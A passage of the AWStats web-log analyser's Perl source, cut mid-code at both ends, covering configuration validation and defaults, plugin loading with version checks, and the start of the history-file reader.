$minhitlist[$i] } || $MinHit{ $minhitlist[$i] } !~ /^\d+$/ || $MinHit{ $minhitlist[$i] } < 1 ) { $MinHit{ $minhitlist[$i] } = $minhitlistdefaultval[$i]; } } if ( $FirstDayOfWeek !~ /[01]/ ) { $FirstDayOfWeek = 1; } if ( $UseFramesWhenCGI !~ /[01]/ ) { $UseFramesWhenCGI = 1; } if ( $DetailedReportsOnNewWindows !~ /[012]/ ) { $DetailedReportsOnNewWindows = 1; } if ( $ShowLinksOnUrl !~ /[01]/ ) { $ShowLinksOnUrl = 1; } if ( $MaxLengthOfShownURL !~ /^\d+/ || $MaxLengthOfShownURL < 1 ) { $MaxLengthOfShownURL = 64; } if ( $ShowLinksToWhoIs !~ /[01]/ ) { $ShowLinksToWhoIs = 0; } $Logo ||= 'awstats_logo6.png'; $LogoLink ||= 'http://www.awstats.org'; if ( $BarWidth !~ /^\d+/ || $BarWidth < 1 ) { $BarWidth = 260; } if ( $BarHeight !~ /^\d+/ || $BarHeight < 1 ) { $BarHeight = 90; } $color_Background =~ s/#//g; if ( $color_Background !~ /^[0-9|A-H]+$/i ) { $color_Background = 'FFFFFF'; } $color_TableBGTitle =~ s/#//g; if ( $color_TableBGTitle !~ /^[0-9|A-H]+$/i ) { $color_TableBGTitle = 'CCCCDD'; } $color_TableTitle =~ s/#//g; if ( $color_TableTitle !~ /^[0-9|A-H]+$/i ) { $color_TableTitle = '000000'; } $color_TableBG =~ s/#//g; if ( $color_TableBG !~ /^[0-9|A-H]+$/i ) { $color_TableBG = 'CCCCDD'; } $color_TableRowTitle =~ s/#//g; if ( $color_TableRowTitle !~ /^[0-9|A-H]+$/i ) { $color_TableRowTitle = 'FFFFFF'; } $color_TableBGRowTitle =~ s/#//g; if ( $color_TableBGRowTitle !~ /^[0-9|A-H]+$/i ) { $color_TableBGRowTitle = 'ECECEC'; } $color_TableBorder =~ s/#//g; if ( $color_TableBorder !~ /^[0-9|A-H]+$/i ) { $color_TableBorder = 'ECECEC'; } $color_text =~ s/#//g; if ( $color_text !~ /^[0-9|A-H]+$/i ) { $color_text = '000000'; } $color_textpercent =~ s/#//g; if ( $color_textpercent !~ /^[0-9|A-H]+$/i ) { $color_textpercent = '606060'; } $color_titletext =~ s/#//g; if ( $color_titletext !~ /^[0-9|A-H]+$/i ) { $color_titletext = '000000'; } $color_weekend =~ s/#//g; if ( $color_weekend !~ /^[0-9|A-H]+$/i ) { $color_weekend = 'EAEAEA'; } $color_link =~ s/#//g; if ( $color_link !~ /^[0-9|A-H]+$/i ) { $color_link = '0011BB'; } $color_hover =~ s/#//g; if ( $color_hover !~ /^[0-9|A-H]+$/i ) { $color_hover = '605040'; } $color_other =~ s/#//g; if ( $color_other !~ /^[0-9|A-H]+$/i ) { $color_other = '666688'; } $color_u =~ s/#//g; if ( $color_u !~ /^[0-9|A-H]+$/i ) { $color_u = 'FFA060'; } $color_v =~ s/#//g; if ( $color_v !~ /^[0-9|A-H]+$/i ) { $color_v = 'F4F090'; } $color_p =~ s/#//g; if ( $color_p !~ /^[0-9|A-H]+$/i ) { $color_p = '4477DD'; } $color_h =~ s/#//g; if ( $color_h !~ /^[0-9|A-H]+$/i ) { $color_h = '66EEFF'; } $color_k =~ s/#//g; if ( $color_k !~ /^[0-9|A-H]+$/i ) { $color_k = '2EA495'; } $color_s =~ s/#//g; if ( $color_s !~ /^[0-9|A-H]+$/i ) { $color_s = '8888DD'; } $color_e =~ s/#//g; if ( $color_e !~ /^[0-9|A-H]+$/i ) { $color_e = 'CEC2E8'; } $color_x =~ s/#//g; if ( $color_x !~ /^[0-9|A-H]+$/i ) { $color_x = 'C1B2E2'; } # Correct param if default value is asked if ( $ShowSummary eq '1' ) { $ShowSummary = 'UVPHB'; } if ( $ShowMonthStats eq '1' ) { $ShowMonthStats = 'UVPHB'; } if ( $ShowDaysOfMonthStats eq '1' ) { $ShowDaysOfMonthStats = 'VPHB'; } if ( $ShowDaysOfWeekStats eq '1' ) { $ShowDaysOfWeekStats = 'PHBL'; } if ( $ShowHoursStats eq '1' ) { $ShowHoursStats = 'PHBL'; } if ( $ShowDomainsStats eq '1' ) { $ShowDomainsStats = 'PHB'; } if ( $ShowHostsStats eq '1' ) { $ShowHostsStats = 'PHBL'; } if ( $ShowEMailSenders eq '1' ) { $ShowEMailSenders = 'HBML'; } if ( $ShowEMailReceivers eq '1' ) { $ShowEMailReceivers = 'HBML'; } if ( $ShowAuthenticatedUsers eq '1' ) { $ShowAuthenticatedUsers = 'PHBL'; } if ( $ShowRobotsStats eq '1' ) { $ShowRobotsStats = 'HBL'; } if ( $ShowWormsStats eq '1' ) { $ShowWormsStats = 'HBL'; } if ( $ShowPagesStats eq '1' ) { $ShowPagesStats = 'PBEX'; } if ( $ShowFileTypesStats eq '1' ) { $ShowFileTypesStats = 'HB'; } if ( $ShowDownloadsStats eq '1' ) { $ShowDownloadsStats = 'HB';} if ( $ShowOriginStats eq '1' ) { $ShowOriginStats = 'PH'; } if ( $ShowClusterStats eq '1' ) { $ShowClusterStats = 'PHB'; } if ( $ShowMiscStats eq '1' ) { $ShowMiscStats = 'anjdfrqwp'; } # Convert extra sections data into @ExtraConditionType, @ExtraConditionTypeVal... foreach my $extranum ( 1 .. @ExtraName - 1 ) { my $part = 0; foreach my $conditioncouple ( split( /\s*\|\|\s*/, $ExtraCondition[$extranum] ) ) { my ( $conditiontype, $conditiontypeval ) = split( /[,:]/, $conditioncouple, 2 ); $ExtraConditionType[$extranum][$part] = $conditiontype; if ( $conditiontypeval =~ /^REGEX\[(.*)\]$/i ) { $conditiontypeval = $1; } #else { $conditiontypeval=quotemeta($conditiontypeval); } $ExtraConditionTypeVal[$extranum][$part] = qr/$conditiontypeval/i; $part++; } $part = 0; foreach my $rowkeycouple ( split( /\s*\|\|\s*/, $ExtraFirstColumnValues[$extranum] ) ) { my ( $rowkeytype, $rowkeytypeval ) = split( /[,:]/, $rowkeycouple, 2 ); $ExtraFirstColumnValuesType[$extranum][$part] = $rowkeytype; if ( $rowkeytypeval =~ /^REGEX\[(.*)\]$/i ) { $rowkeytypeval = $1; } #else { $rowkeytypeval=quotemeta($rowkeytypeval); } $ExtraFirstColumnValuesTypeVal[$extranum][$part] = qr/$rowkeytypeval/i; $part++; } } # Show definitive value for major parameters if ($Debug) { debug( " LogFile='$LogFile'", 2 ); debug( " LogFormat='$LogFormat'", 2 ); debug( " LogSeparator='$LogSeparator'", 2 ); debug( " DNSLookup='$DNSLookup'", 2 ); debug( " DirData='$DirData'", 2 ); debug( " DirCgi='$DirCgi'", 2 ); debug( " DirIcons='$DirIcons'", 2 ); debug( " SiteDomain='$SiteDomain'", 2 ); debug( " MiscTrackerUrl='$MiscTrackerUrl'", 2 ); foreach ( keys %MaxNbOf ) { debug( " MaxNbOf{$_}=$MaxNbOf{$_}", 2 ); } foreach ( keys %MinHit ) { debug( " MinHit{$_}=$MinHit{$_}", 2 ); } foreach my $extranum ( 1 .. @ExtraName - 1 ) { debug( " ExtraCodeFilter[$extranum] is array " . join( ',', @{ $ExtraCodeFilter[$extranum] } ), 2 ); debug( " ExtraConditionType[$extranum] is array " . join( ',', @{ $ExtraConditionType[$extranum] } ), 2 ); debug( " ExtraConditionTypeVal[$extranum] is array " . join( ',', @{ $ExtraConditionTypeVal[$extranum] } ), 2 ); debug( " ExtraFirstColumnFunction[$extranum] is array " . join( ',', @{ $ExtraFirstColumnFunction[$extranum] } ), 2 ); debug( " ExtraFirstColumnValuesType[$extranum] is array " . join( ',', @{ $ExtraFirstColumnValuesType[$extranum] } ), 2 ); debug( " ExtraFirstColumnValuesTypeVal[$extranum] is array " . join( ',', @{ $ExtraFirstColumnValuesTypeVal[$extranum] } ), 2 ); } } # Deny URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters both set if ( @URLWithQueryWithOnly && @URLWithQueryWithout ) { error( "URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters can't be both set at the same time" ); } # Deny $ShowHTTPErrorsStats and $ShowSMTPErrorsStats both set if ( $ShowHTTPErrorsStats && $ShowSMTPErrorsStats ) { error( "ShowHTTPErrorsStats and ShowSMTPErrorsStats can't be both set at the same time" ); } # Deny LogFile if contains a pipe and PurgeLogFile || ArchiveLogRecords set on if ( ( $PurgeLogFile || $ArchiveLogRecords ) && $LogFile =~ /\|\s*$/ ) { error( "A pipe in log file name is not allowed if PurgeLogFile and ArchiveLogRecords are not set to 0" ); } # If not a migrate, check if DirData is OK if ( !$MigrateStats && !-d $DirData ) { if ($CreateDirDataIfNotExists) { if ($Debug) { debug( " Make directory $DirData", 2 ); } my $mkdirok = mkdir "$DirData", 0755; if ( !$mkdirok ) { error( "$PROG failed to create directory DirData (DirData=\"$DirData\", CreateDirDataIfNotExists=$CreateDirDataIfNotExists)." ); } } else { error( "AWStats database directory defined in config file by 'DirData' parameter ($DirData) does not exist or is not writable." ); } } if ( $LogType eq 'S' ) { $NOTSORTEDRECORDTOLERANCE = 1000000; } } #------------------------------------------------------------------------------ # Function: Common function used by init function of plugins # Parameters: AWStats version required by plugin # Input: $VERSION # Output: None # Return: '' if ok, "Error: xxx" if error #------------------------------------------------------------------------------ sub Check_Plugin_Version { my $PluginNeedAWStatsVersion = shift; if ( !$PluginNeedAWStatsVersion ) { return 0; } $VERSION =~ /^(\d+)\.(\d+)/; my $numAWStatsVersion = ( $1 * 1000 ) + $2; $PluginNeedAWStatsVersion =~ /^(\d+)\.(\d+)/; my $numPluginNeedAWStatsVersion = ( $1 * 1000 ) + $2; if ( $numPluginNeedAWStatsVersion > $numAWStatsVersion ) { return "Error: AWStats version $PluginNeedAWStatsVersion or higher is required. Detected $VERSION."; } return ''; } #------------------------------------------------------------------------------ # Function: Return a checksum for an array of string # Parameters: Array of string # Input: None # Output: None # Return: Checksum number #------------------------------------------------------------------------------ sub CheckSum { my $string = shift; my $checksum = 0; # use MD5; # $checksum = MD5->hexhash($string); my $i = 0; my $j = 0; while ( $i < length($string) ) { my $c = substr( $string, $i, 1 ); $checksum += ( ord($c) << ( 8 * $j ) ); if ( $j++ > 3 ) { $j = 0; } $i++; } return $checksum; } #------------------------------------------------------------------------------ # Function: Load plugins files # Parameters: None # Input: $DIR @PluginsToLoad # Output: None # Return: None #------------------------------------------------------------------------------ sub Read_Plugins { # Check plugin files in common possible directories : # Windows and standard package: "$DIR/plugins" (plugins in same dir than awstats.pl) # Redhat : "/usr/local/awstats/wwwroot/cgi-bin/plugins" # Debian package : "/usr/share/awstats/plugins" my @PossiblePluginsDir = ( "$DIR/plugins", "/usr/local/awstats/wwwroot/cgi-bin/plugins", "/usr/share/awstats/plugins" ); my %DirAddedInINC = (); #Removed for security reason #foreach my $key (keys %NoLoadPlugin) { if ($NoLoadPlugin{$key} < 0) { push @PluginsToLoad, $key; } } if ($Debug) { debug( "Call to Read_Plugins with list: " . join( ',', @PluginsToLoad ) ); } foreach my $plugininfo (@PluginsToLoad) { my ( $pluginfile, $pluginparam ) = split( /\s+/, $plugininfo, 2 ); $pluginparam ||= ""; # If split has only on part, pluginparam is not initialized $pluginfile =~ s/\.pm$//i; $pluginfile =~ /([^\/\\]+)$/; $pluginfile = Sanitize($1); # pluginfile is cleaned from any path for security reasons and from .pm my $pluginname = $pluginfile; if ( $NoLoadPlugin{$pluginname} && $NoLoadPlugin{$pluginname} > 0 ) { if ($Debug) { debug( " Plugin load for '$pluginfile' has been disabled from parameters" ); } next; } if ($pluginname) { if ( !$PluginsLoaded{'init'}{"$pluginname"} ) { # Plugin not already loaded my %pluginisfor = ( 'timehires' => 'u', 'ipv6' => 'u', 'hashfiles' => 'u', 'geoipfree' => 'u', 'geoip' => 'ou', 'geoip6' => 'ou', 'geoip_region_maxmind' => 'mou', 'geoip_city_maxmind' => 'mou', 'geoip_isp_maxmind' => 'mou', 'geoip_org_maxmind' => 'mou', 'timezone' => 'ou', 'decodeutfkeys' => 'o', 'hostinfo' => 'o', 'rawlog' => 'o', 'userinfo' => 'o', 'urlalias' => 'o', 'tooltips' => 'o' ); if ( $pluginisfor{$pluginname} ) { # If it's a known plugin, may be we don't need to load it # Do not load "menu handler plugins" if output only and mainleft frame if ( !$UpdateStats && scalar keys %HTMLOutput && $FrameName eq 'mainleft' && $pluginisfor{$pluginname} !~ /m/ ) { $PluginsLoaded{'init'}{"$pluginname"} = 1; next; } # Do not load "update plugins" if output only if ( !$UpdateStats && scalar keys %HTMLOutput && $pluginisfor{$pluginname} !~ /o/ ) { $PluginsLoaded{'init'}{"$pluginname"} = 1; next; } # Do not load "output plugins" if update only if ( $UpdateStats && !scalar keys %HTMLOutput && $pluginisfor{$pluginname} !~ /u/ ) { $PluginsLoaded{'init'}{"$pluginname"} = 1; next; } } # Load plugin foreach my $dir (@PossiblePluginsDir) { my $searchdir = $dir; if ( $searchdir && ( !( $searchdir =~ /\/$/ ) ) && ( !( $searchdir =~ /\\$/ ) ) ) { $searchdir .= "/"; } my $pluginpath = "${searchdir}${pluginfile}.pm"; if ( -s "$pluginpath" ) { $PluginDir = "${searchdir}"; # Set plugin dir if ($Debug) { debug( " Try to init plugin '$pluginname' ($pluginpath) with param '$pluginparam'", 1 ); } if ( !$DirAddedInINC{"$dir"} ) { push @INC, "$dir"; $DirAddedInINC{"$dir"} = 1; } my $loadret = 0; my $modperl = $ENV{"MOD_PERL"} ? eval { require mod_perl; $mod_perl::VERSION >= 1.99 ? 2 : 1; } : 0; if ( $modperl == 2 ) { $loadret = require "$pluginpath"; } else { $loadret = require "$pluginfile.pm"; } if ( !$loadret || $loadret =~ /^error/i ) { # Load failed, we stop here error( "Plugin load for plugin '$pluginname' failed with return code: $loadret" ); } my $ret; # To get init return my $initfunction = "\$ret=Init_$pluginname('$pluginparam')"; # Note that pluginname and pluginparam were sanitized when reading cong file entry 'LoadPlugin' my $initret = eval("$initfunction"); if ( $initret && $initret eq 'xxx' ) { $initret = 'Error: The PluginHooksFunctions variable defined in plugin file does not contain list of hooked functions'; } if ( !$initret || $initret =~ /^error/i ) { # Init function failed, we stop here error( "Plugin init for plugin '$pluginname' failed with return code: " . ( $initret ? "$initret" : "$@ (A module required by plugin might be missing)." ) ); } # Plugin load and init successful foreach my $elem ( split( /\s+/, $initret ) ) { # Some functions can only be plugged once my @uniquefunc = ( 'GetCountryCodeByName', 'GetCountryCodeByAddr', 'ChangeTime', 'GetTimeZoneTitle', 'GetTime', 'SearchFile', 'LoadCache', 'SaveHash', 'ShowMenu' ); my $isuniquefunc = 0; foreach my $function (@uniquefunc) { if ( "$elem" eq "$function" ) { # We try to load a 'unique' function, so we check and stop if already loaded foreach my $otherpluginname ( keys %{ $PluginsLoaded{"$elem"} } ) { error( "Conflict between plugin '$pluginname' and '$otherpluginname'. They both implements the 'must be unique' function '$elem'.\nYou must choose between one of them. Using together is not possible." ); } $isuniquefunc = 1; last; } } if ($isuniquefunc) { # TODO Use $PluginsLoaded{"$elem"}="$pluginname"; for unique func $PluginsLoaded{"$elem"}{"$pluginname"} = 1; } else { $PluginsLoaded{"$elem"}{"$pluginname"} = 1; } if ( "$elem" =~ /SectionInitHashArray/ ) { $AtLeastOneSectionPlugin = 1; } } $PluginsLoaded{'init'}{"$pluginname"} = 1; if ($Debug) { debug( " Plugin '$pluginname' now hooks functions '$initret'", 1 ); } last; } } if ( !$PluginsLoaded{'init'}{"$pluginname"} ) { error( "AWStats config file contains a directive to load plugin \"$pluginname\" (LoadPlugin=\"$plugininfo\") but AWStats can't open plugin file \"$pluginfile.pm\" for read.\nCheck if file is in \"" . ( $PossiblePluginsDir[0] ) . "\" directory and is readable." ); } } else { warning( "Warning: Tried to load plugin \"$pluginname\" twice. Fix config file." ); } } else { error("Plugin \"$pluginfile\" is not a valid plugin name."); } } # In output mode, geo ip plugins are not loaded, so message changes are done here (can't be done in plugin init function) if ( $PluginsLoaded{'init'}{'geoip'} || $PluginsLoaded{'init'}{'geoip6'} || $PluginsLoaded{'init'}{'geoipfree'} ) { $Message[17] = $Message[25] = $Message[148]; } } #------------------------------------------------------------------------------ # Function: Read history file and create or update tmp history file # Parameters: year,month,day,hour,withupdate,withpurge,part_to_load[,lastlinenb,lastlineoffset,lastlinechecksum] # Input: $DirData $PROG $FileSuffix $LastLine $DatabaseBreak # Output: None # Return: Tmp history file name created/updated or '' if withupdate is 0 #------------------------------------------------------------------------------ sub Read_History_With_TmpUpdate { my $year = sprintf( "%04i", shift || 0 ); my $month = sprintf( "%02i", shift || 0 ); my $day = shift; if ( $day ne '' ) { $day = sprintf( "%02i", $day ); } my $hour = shift; if ( $hour ne '' ) { $hour = sprintf( "%02i", $hour ); } my $withupdate = shift || 0; my $withpurge = shift || 0; my $part = shift || ''; my ( $date, $filedate ) = ( '', '' ); if ( $DatabaseBreak eq 'month' ) { $date = sprintf( "%04i%02i", $year, $month ); $filedate = sprintf( "%02i%04i", $month, $year ); } elsif ( $DatabaseBreak eq 'year' ) { $date = sprintf( "%04i%", $year ); $filedate = sprintf( "%04i", $year ); } elsif ( $DatabaseBreak eq 'day' ) { $date = sprintf( "%04i%02i%02i", $year, $month, $day ); $filedate = sprintf( "%02i%04i%02i", $month, $year, $day ); } elsif ( $DatabaseBreak eq 'hour' ) { $date = sprintf( "%04i%02i%02i%02i", $year, $month, $day, $hour ); $filedate = sprintf( "%02i%04i%02i%02i", $month, $year, $day, $hour ); } my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 ); my $xmleb = '</table><nu>'; my $xmlrb = '<tr><td>'; my $lastlinenb = shift || 0; my $lastlineoffset = shift || 0; my $lastlinechecksum = shift || 0; my %allsections = ( 'general' => 1, 'misc' => 2, 'time' => 3, 'visitor' => 4, 'day' => 5, 'domain' => 6, 'cluster' => 7, 'login' => 8, 'robot' => 9, 'worms' => 10, 'emailsender' => 11, 'emailreceiver' => 12, 'session' => 13, 'sider' => 14, 'filetypes' => 15, 'downloads' => 16, 'os' => 17, 'browser' => 18, 'screensize' => 19, 'unknownreferer' => 20, 'unknownrefererbrowser' => 21, 'origin' => 22, 'sereferrals' => 23, 'pagerefs' => 24, 'searchwords' => 25, 'keywords' => 26, 'errors' => 27, ); my $order = ( scalar keys %allsections ) + 1; foreach ( keys %TrapInfosForHTTPErrorCodes ) { $allsections{"sider_$_"} = $order++; } foreach ( 1 .. @ExtraName - 1 ) { $allsections{"extra_$_"} = $order++; } foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) { $allsections{"plugin_$_"} = $order++; } my $withread = 0; # Variable used to read old format history files my $readvisitorforbackward = 0; if ($Debug) { debug( "Call to Read_History_With_TmpUpdate [$year,$month,$day,$hour,withupdate=$withupdate,withpurge=$withpurge,part=$part,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]" ); } if ($Debug) { debug("date=$date"); } # Define SectionsToLoad (which sections to load) my %SectionsToLoad = (); if ( $part eq 'all' ) { # Load all needed sections my $order = 1; $SectionsToLoad{'general'} = $order++; # When $SectionsToLoad{'time'} = $order ++; # Always loaded because needed to count TotalPages, TotalHits, TotalBandwidth if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowHostsStats ) || $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} || $HTMLOutput{'unknownip'} ) { $SectionsToLoad{'visitor'} = $order++; } # Must be before day, sider and session section if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && ( $ShowDaysOfWeekStats || $ShowDaysOfMonthStats ) ) || $HTMLOutput{'alldays'} ) { $SectionsToLoad{'day'} = $order++; } # Who if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowDomainsStats ) || $HTMLOutput{'alldomains'} ) { $SectionsToLoad{'domain'} = $order++; } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowAuthenticatedUsers ) || $HTMLOutput{'alllogins'} || $HTMLOutput{'lastlogins'} ) { $SectionsToLoad{'login'} = $order++; } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowRobotsStats ) || $HTMLOutput{'allrobots'} || $HTMLOutput{'lastrobots'} ) { $SectionsToLoad{'robot'} = $order++; } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowWormsStats ) || $HTMLOutput{'allworms'} || $HTMLOutput{'lastworms'} ) { $SectionsToLoad{'worms'} = $order++; } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowEMailSenders ) || $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) { $SectionsToLoad{'emailsender'} = $order++; } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowEMailReceivers ) || $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) { $SectionsToLoad{'emailreceiver'} = $order++; } # Navigation if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowSessionsStats ) || $HTMLOutput{'sessions'} ) { $SectionsToLoad{'session'} = $order++; } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowPagesStats ) || $HTMLOutput{'urldetail'} || $HTMLOutput{'urlentry'} || $HTMLOutput{'urlexit'} ) { $SectionsToLoad{'sider'} = $order++; } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowFileTypesStats ) || $HTMLOutput{'filetypes'} ) { $SectionsToLoad{'filetypes'} = $order++; } if ( $UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowDownloadsStats ) || $HTMLOutput{'downloads'} ) { $SectionsToLoad{'downloads'} = $order++; } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowOSStats ) || $HTMLOutput{'osdetail'} ) { $SectionsToLoad{'os'} = $order++; } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowBrowsersStats ) || $HTMLOutput{'browserdetail'} ) { $SectionsToLoad{'browser'} = $order++; } if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownos'} ) { $SectionsToLoad{'unknownreferer'} = $order++; } if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownbrowser'} ) { $SectionsToLoad{'unknownrefererbrowser'} = $order++; } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowScreenSizeStats ) ) { $SectionsToLoad{'screensize'} = $order++; } # Referers if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowOriginStats ) || $HTMLOutput{'origin'} ) { $SectionsToLoad{'origin'} = $order++; } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowOriginStats ) || $HTMLOutput{'refererse'} ) { $SectionsToLoad{'sereferrals'} = $order++; } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowOriginStats ) || $HTMLOutput{'refererpages'} ) { $SectionsToLoad{'pagerefs'} = $order++; } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowKeyphrasesStats ) || $HTMLOutput{'keyphrases'} || $HTMLOutput{'keywords'} ) { $SectionsToLoad{'searchwords'} = $order++; } if ( !$withupdate && $HTMLOutput{'main'} && $ShowKeywordsStats ) { $SectionsToLoad{'keywords'} = $order++; } # If we update, there is no need to load # Others if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowMiscStats ) ) { $SectionsToLoad{'misc'} = $order++; } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats ) ) || $HTMLOutput{'errors'} ) { $SectionsToLoad{'errors'} = $order++; } foreach ( keys %TrapInfosForHTTPErrorCodes ) { if ( $UpdateStats || $MigrateStats || $HTMLOutput{"errors$_"} ) { $SectionsToLoad{"sider_$_"} = $order++; } } if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ShowClusterStats ) ) { $SectionsToLoad{'cluster'} = $order++; } foreach ( 1 .. @ExtraName - 1 ) { if ( $UpdateStats || $MigrateStats || ( $HTMLOutput{'main'} && $ExtraStatTypes[$_] ) || $HTMLOutput{"allextra$_"} ) { $SectionsToLoad{"extra_$_"} = $order++; } } foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) { if ( $UpdateStats || $MigrateStats || $HTMLOutput{"plugin_$_"} ) { $SectionsToLoad{"plugin_$_"} = $order++; } } } else { # Load only required sections my $order = 1; foreach ( split( /\s+/, $part ) ) { $SectionsToLoad{$_} = $order++; } } # Define SectionsToSave (which sections to save) my %SectionsToSave = (); if ($withupdate) { if ( $SectionsToBeSaved eq 'all' ) { %SectionsToSave = %allsections; } else { my $order = 1; foreach ( split( /\s+/, $SectionsToBeSaved ) ) { $SectionsToSave{$_} = $order++; } } } if ($Debug) { debug( " List of sections marked for load : " . join( ' ', ( sort { $SectionsToLoad{$a} <=> $SectionsToLoad{$b} } keys %SectionsToLoad ) ), 2 ); debug( " List of sections marked for save : " . join( ' ', ( sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} } keys %SectionsToSave ) ), 2 ); } # Define value for filetowrite and filetoread (Month before Year kept for backward compatibility) my $filetowrite = ''; my $filetoread = ''; if ( $HistoryAlreadyFlushed{"$year$month$day$hour"} && -s "$DirData/$PROG$filedate$FileSuffix.tmp.$$" ) { # tmp history file was already flushed $filetoread = "$DirData/$PROG$filedate$FileSuffix.tmp.$$"; $filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$.bis"; } else { $filetoread = "$DirData/$PROG$filedate$FileSuffix.txt"; $filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$"; } if ($Debug) { debug( " History file to read is '$filetoread'", 2 ); } # Is there an old data file to read or, if migrate, can we open the file for read if ( -s $filetoread || $MigrateStats ) { $withread = 1; } # Open files if ($withread) { open( HISTORY, $filetoread ) || error( "Couldn't open file \"$filetoread\" for read: $!", "", "", $MigrateStats ); binmode HISTORY ; # Avoid premature EOF due to history files corrupted with \cZ or bin chars } if ($withupdate) { open( HISTORYTMP, ">$filetowrite" ) || error("Couldn't open file \"$filetowrite\" for write: $!"); binmode HISTORYTMP; if ($xml) { print HISTORYTMP '<xml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.awstats.org/files/awstats.xsd">' . "\n\n"; } Save_History( "header", $year, $month, $date ); } # Loop on read file my $readxml = 0; if ($withread) { my $countlines = 0; my $versionnum = 0; my @field = (); while (<HISTORY>) { chomp $_; s/\r//; $countlines++; # Test if it's xml if ( !$readxml && $_ =~ /^<xml/ ) { $readxml = 1; if ($Debug) { debug( " Data file format is 'xml'", 1 ); } next; } # Extract version from first line if ( !$versionnum && $_ =~ /^AWSTATS DATA FILE (\d+).(\d+)/i ) { $versionnum = ( $1 * 1000 ) + $2; if ($Debug) { debug( " Data file version is $versionnum", 1 ); } next; } # Analyze fields @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); if ( !$field[0] ) { next; } # Here version MUST be defined if ( $versionnum < 5000 ) { error( "History file '$filetoread' is to old (version '$versionnum'). This version of AWStats is not compatible with very old history files. Remove this history file or use first a previous AWStats version to migrate it from command line with command: $PROG.$Extension -migrate=\"$filetoread\".", "", "", 1 ); } # BEGIN_GENERAL # TODO Manage GENERAL in a loop like other sections. if ( $field[0] eq 'BEGIN_GENERAL' ) { if ($Debug) { debug(" Begin of GENERAL section"); } next; } if ( $field[0] eq 'LastLine' || $field[0] eq "${xmlrb}LastLine" ) { if ( !$LastLine || $LastLine < int( $field[1] ) ) { $LastLine = int( $field[1] ); } if ( $field[2] ) { $LastLineNumber = int( $field[2] ); } if ( $field[3] ) { $LastLineOffset = int( $field[3] ); } if ( $field[4] ) { $LastLineChecksum = int( $field[4] ); } next; } if ( $field[0] eq 'FirstTime' || $field[0] eq "${xmlrb}FirstTime" ) { if ( !$FirstTime{$date} || $FirstTime{$date} > int( $field[1] ) ) { $FirstTime{$date} = int( $field[1] ); } next; } if ( $field[0] eq 'LastTime' || $field[0] eq "${xmlrb}LastTime" ) { if ( !$LastTime{$date} || $LastTime{$date} < int( $field[1] ) ) { $LastTime{$date} = int( $field[1] ); } next; } if ( $field[0] eq 'LastUpdate' || $field[0] eq "${xmlrb}LastUpdate" ) { if ( !$LastUpdate ) { $LastUpdate = int( $field[1] ); } next; } if ( $field[0] eq 'TotalVisits' || $field[0] eq "${xmlrb}TotalVisits" ) { if ( !$withupdate ) { $MonthVisits{ $year . $month } += int( $field[1] ); } next; } if ( $field[0] eq 'TotalUnique' || $field[0] eq "${xmlrb}TotalUnique" ) { if ( !$withupdate ) { $MonthUnique{ $year . $month } += int( $field[1] ); } next; } if ( $field[0] eq 'MonthHostsKnown' || $field[0] eq "${xmlrb}MonthHostsKnown" ) { if ( !$withupdate ) { $MonthHostsKnown{ $year . $month } += int( $field[1] ); } next; } if ( $field[0] eq 'MonthHostsUnknown' || $field[0] eq "${xmlrb}MonthHostsUnknown" ) { if ( !$withupdate ) { $MonthHostsUnknown{ $year . $month } += int( $field[1] ); } next; } if ( ( $field[0] eq 'END_GENERAL' || $field[0] eq "${xmleb}END_GENERAL" ) ) { if ($Debug) { debug(" End of GENERAL section"); } if ( $MigrateStats && !$BadFormatWarning{ $year . $month } ) { $BadFormatWarning{ $year . $month } = 1; warning( "Warning: You are migrating a file that is already a recent version (migrate not required for files version $versionnum).", "", "", 1 ); } delete $SectionsToLoad{'general'}; if ( $SectionsToSave{'general'} ) { Save_History( 'general', $year, $month, $date, $lastlinenb, $lastlineoffset, $lastlinechecksum ); delete $SectionsToSave{'general'}; } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_MISC if ( 